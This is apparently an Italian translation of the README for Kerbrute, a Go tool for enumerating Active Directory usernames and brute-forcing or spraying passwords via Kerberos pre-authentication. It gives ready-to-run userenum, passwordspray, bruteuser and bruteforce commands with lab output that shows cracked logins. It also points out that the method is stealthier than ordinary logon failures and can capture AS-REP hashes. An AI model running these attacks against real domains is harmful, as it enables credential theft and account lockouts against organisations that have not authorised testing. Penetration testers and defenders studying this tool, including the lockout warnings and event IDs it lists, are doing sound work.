
Uno strumento per effettuare brute force di pre-autenticazione Kerberos
Uno strumento per forzare brutalmente e enumerare rapidamente gli account Active Directory validi tramite la pre-autenticazione Kerberos.
Scarica gli ultimi binari dalla pagina delle release per iniziare.
Questo strumento è nato da alcuni script bash che ho scritto qualche anno fa per eseguire attacchi di forza bruta utilizzando il client Kerberos Heimdal da Linux. Volevo qualcosa che non richiedesse privilegi per installare un client Kerberos e, quando ho trovato la straordinaria implementazione puramente in Go di Kerberos gokrb5, ho deciso di imparare Go e scrivere questo.
La forzatura brutale delle password Windows con Kerberos è molto più veloce di qualsiasi altro approccio che conosca, e potenzialmente più furtiva poiché i fallimenti di pre-autenticazione non attivano il "tradizionale" evento An account failed to log on 4625. Con Kerberos, puoi validare un nome utente o testare un login inviando un solo frame UDP al KDC (Domain Controller).
Per ulteriori informazioni e contesto, dai un'occhiata al mio talk del Troopers 2019, Fun with LDAP and Kerberos (link TBD)
Kerbrute ha tre comandi principali:
È necessario specificare un dominio (-d) o un controller di dominio (--dc). Se non viene fornito un controller di dominio, il KDC verrà cercato tramite DNS.
Per impostazione predefinita, Kerbrute è multithread e utilizza 10 thread. Questo può essere modificato con l'opzione -t.
L'output viene registrato su stdout, ma è possibile specificare un file di log con -o.
Per impostazione predefinita, i fallimenti non vengono registrati, ma è possibile modificarlo con -v.
Infine, Kerbrute ha un'opzione --safe. Quando questa opzione è abilitata, se un account risulta bloccato, interromperà tutti i thread per evitare di bloccare altri account.
Il comando help può essere utilizzato per maggiori informazioni
$ ./kerbrute -h
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Versione: dev (bc1d606) - 15/11/20 - Ronnie Flathers @ropnop
Questo strumento è progettato per aiutare a forzare rapidamente gli account Active Directory validi tramite pre-autenticazione Kerberos.
È progettato per essere utilizzato su un dominio Windows interno con accesso a uno dei controller di dominio.
Attenzione: i fallimenti di pre-autenticazione Kerberos contano come tentativi di login falliti e BLOCCANO gli account
Utilizzo:
kerbrute [comando]
Comandi disponibili:
bruteforce Forza brutalmente combinazioni username:password, da file o stdin
bruteuser Forza brutalmente la password di un singolo utente da una wordlist
help Mostra aiuto per un comando
passwordspray Testa una singola password contro una lista di utenti
userenum Enumera nomi utente di dominio validi tramite Kerberos
version Mostra informazioni sulla versione ed esce
Flags:
--dc string Posizione del controller di dominio (KDC) da colpire. Se vuoto, cerca tramite DNS
--delay int Ritardo in millisecondi tra ogni tentativo. Se impostato, userà sempre un solo thread
-d, --domain string Il dominio completo da usare (es. contoso.com)
--downgrade Forza tipo di crittografia degradato (arcfour-hmac-md5)
--hash-file string File dove salvare gli hash AS-REP (se catturati), altrimenti solo loggati
-h, --help help per kerbrute
-o, --output string File dove scrivere i log. Opzionale.
--safe Modalità sicura. Interrompe se un utente risulta bloccato. Predefinito: FALSO
-t, --threads int Thread da usare (predefinito 10)
-v, --verbose Logga fallimenti ed errori
Usa "kerbrute [comando] --help" per maggiori informazioni su un comando.
Per enumerare i nomi utente, Kerbrute invia richieste TGT senza pre-autenticazione. Se il KDC risponde con un errore PRINCIPAL UNKNOWN, il nome utente non esiste. Tuttavia, se il KDC richiede la pre-autenticazione, sappiamo che il nome utente esiste e proseguiamo. Questo non causa alcun fallimento di login, quindi non bloccherà alcun account. Genera l'ID evento Windows 4768 se il logging Kerberos è abilitato.
root@kali:~# ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Versione: dev (43f9ca1) - 06/03/19 - Ronnie Flathers @ropnop
2019/03/06 21:28:04 > Uso KDC:
2019/03/06 21:28:04 > pdc01.lab.ropnop.com:88
2019/03/06 21:28:04 > [+] NOME UTENTE VALIDO: [email protected]
2019/03/06 21:28:04 > [+] NOME UTENTE VALIDO: [email protected]
2019/03/06 21:28:04 > Fatto! Testati 1001 nomi utente (2 validi) in 0.425 secondi
Con passwordspray, Kerbrute esegue un attacco di forza bruta orizzontale contro una lista di utenti del dominio. È utile per testare una o due password comuni quando si ha una lunga lista di utenti. ATTENZIONE: questo incrementerà il contatore di tentativi falliti e bloccherà gli account. Genererà sia l'ID evento 4768 - È stato richiesto un ticket di autenticazione Kerberos (TGT) che 4771 - Pre-autenticazione Kerberos fallita
root@kali:~# ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Versione: dev (43f9ca1) - 06/03/19 - Ronnie Flathers @ropnop
2019/03/06 21:37:29 > Uso KDC:
2019/03/06 21:37:29 > pdc01.lab.ropnop.com:88
2019/03/06 21:37:35 > [+] LOGIN VALIDO: [email protected]:Password123
2019/03/06 21:37:37 > [+] LOGIN VALIDO: [email protected]:Password123
2019/03/06 21:37:37 > Fatto! Testati 2755 login (2 successi) in 7.674 secondi
Questo è un attacco di forza bruta tradizionale contro un nome utente. Eseguilo solo se sei sicuro che non ci sia una politica di blocco! Genererà sia l'ID evento 4768 - È stato richiesto un ticket di autenticazione Kerberos (TGT) che 4771 - Pre-autenticazione Kerberos fallita
root@kali:~# ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com passwords.lst thoffman
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Versione: dev (43f9ca1) - 06/03/19 - Ronnie Flathers @ropnop
2019/03/06 21:38:24 > Uso KDC:
2019/03/06 21:38:24 > pdc01.lab.ropnop.com:88
2019/03/06 21:38:27 > [+] LOGIN VALIDO: [email protected]:Summer2017
2019/03/06 21:38:27 > Fatto! Testati 1001 login (1 successo) in 2.711 secondi
Questa modalità legge semplicemente combinazioni di nome utente e password (nel formato username:password) da un file o da stdin e le testa con la pre-autenticazione Kerberos. Salta qualsiasi riga vuota o riga con nomi utente/password vuoti. Genererà sia l'ID evento 4768 - È stato richiesto un ticket di autenticazione Kerberos (TGT) che 4771 - Pre-autenticazione Kerberos fallita
$ cat combos.lst | ./kerbrute -d lab.ropnop.com bruteforce -
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Versione: dev (n/d) - 11/05/19 - Ronnie Flathers @ropnop
2019/05/11 18:40:56 > Uso KDC:
2019/05/11 18:40:56 > pdc01.lab.ropnop.com:88
2019/05/11 18:40:56 > [+] LOGIN VALIDO: [email protected]:Password1234
2019/05/11 18:40:56 > Fatto! Testati 7 login (1 successo) in 0.114 secondi
Puoi scaricare binari precompilati per Linux, Windows e Mac dalla pagina delle release. Se vuoi vivere al limite, puoi anche installare con Go:
$ go get github.com/ropnop/kerbrute
Con il repository clonato, puoi anche usare il Make file per compilare per le architetture comuni:
$ make help
help: Mostra questo aiuto.
windows: Crea binari Windows x86 e x64
linux: Crea binari Linux x86 e x64
mac: Crea binari Darwin (Mac) x86 e x64
clean: Elimina eventuali binari
all: Crea binari Windows, Linux e Mac x86/x64
$ make all
Fatto.
Compilazione per windows amd64..
Compilazione per windows 386..
Fatto.
Compilazione per linux amd64...
Compilazione per linux 386...
Fatto.
Compilazione per mac amd64...
Compilazione per mac 386...
Fatto.
$ ls dist/
kerbrute_darwin_386 kerbrute_linux_386 kerbrute_windows_386.exe
kerbrute_darwin_amd64 kerbrute_linux_amd64 kerbrute_windows_amd64.exe
Un enorme ringraziamento a jcmturner per la sua implementazione puramente Go di KRB5: https://github.com/jcmturner/gokrb5 . Un progetto straordinario e molto ben documentato. Non avrei potuto fare nulla di tutto ciò senza quel progetto.
Un ringraziamento a audibleblink per il suggerimento e l'implementazione dell'opzione delay!